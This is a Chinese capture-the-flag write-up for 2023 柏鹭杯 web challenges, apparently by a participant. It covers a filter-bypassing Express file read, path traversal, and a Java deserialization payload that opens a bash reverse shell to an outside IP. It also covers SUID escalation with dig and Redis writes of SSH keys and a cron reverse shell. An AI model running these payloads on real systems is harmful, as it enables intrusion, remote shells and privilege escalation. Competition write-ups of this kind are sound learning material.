2023 柏鹭杯 web

三等奖没混到,抱着队友的大腿获得了第17

Express fs

以下代码存在任意文件读取

先读取环境变量,/proc/self/cmdline中发现了正在运行的node /app/main.js

读取文件之后,发现这里存在任意文件读取,同时ban 了flag

没法直接读取flag

1
2
3
4
5
6
7
app.use((req, res, next) => {
if ([req.body, req.headers, req.query].some((item) => item && JSON.stringify(item)
.includes("flag"))) {
return res.send("臭黑客!");
}
next();
});

这里同corCtf2022类似

corCtf2022一道有意思的node题 - 码农教程 (manongjc.com)

直接照着payload打就好了

1
2
3
4
5
6
7
这个 file 对象满足如下条件

.href 存在
.origin 存在
.protocol === 'file:'
.hostname === ''
.pathname 是/app/flag.txt URL 编码的(注意:这需要双 URL 编码,因为 Express 已经 URL 解码一次)

传入

1
?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/fl%2561g.txt

得到flag

综合5

/readfile?filename=

直接目录穿越读文件

1
/readfile?filename=/../../../../../app/demo.jar

简单的spring boot信息泄露,下载下来得到源码

blb1

直接叫gpt写一个解密脚本就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="
O0O = "6925cc02789c1d2552b71acc4a2d48fd"

def o0o(Ooo, O0O):
oOo = []

for o0O in range(len(Ooo)):
Oo0 = ord(Ooo[o0O])
oOO = ord(O0O[o0O % len(O0O)])
OOo = chr(Oo0 ^ oOO)
oOo.append(OOo)

return ''.join(oOo)

# 解密步骤
decoded_flag = base64.b64decode(enc_flag1).decode()
decrypted_flag = o0o(decoded_flag, O0O)

print(decrypted_flag)
//flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}

综合题6

ping类里面存在危险方法的调用

1
2
3
4
5
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmdArray = new String[]{this.command, this.arg1, this.arg2};
Runtime.getRuntime().exec(cmdArray);
}

blb1

直接写入恶意命令就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Ping AasL1N = new Ping();
AasL1N.setCommand("bash");
AasL1N.setArg1("-c");
AasL1N.setArg2("bash -i >& /dev/tcp/111.229.202.164/3232 0>&1");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(AasL1N);
System.out.println(out.toByteArray());
String payload = Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(payload);
}
}

在/internalApi/v3.2/updateConfig发包

得到shell

suid提权

1
find / -perm -u=s -type f 2>dev/null

看到dig有suid权限

1
2
FILE=/root/flag2
dig -f $FILE

得到flag

综合7

看到存在redis服务器

直接读取配置

1
../../../../usr/local/share/application.properties
1
2
3
4
5
6
7
server.port=18080
server.servlet.context-path=/
management.endpoints.web.exposure.incLude=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfala8e8011f0276416775c6a
spring.servlet.multipart.max-file-size=10MB

有密码账号,直接打就好了

写一个公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssh-keygen -t rsa #生成公私钥

(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>key.txt #写入

cat /root/.ssh/key.txt | proxychains4 redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set xqq

proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a

config set dir /root/.ssh

config set dbfilename authorized_keys

save

proxychains ssh -i id_rsa root@172.25.0.10

指定私钥登录

也可以写计划任务(没试过)

1
2
3
4
set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

得到flag

后面的wp查不到,也没法复现了,以后想起来了就写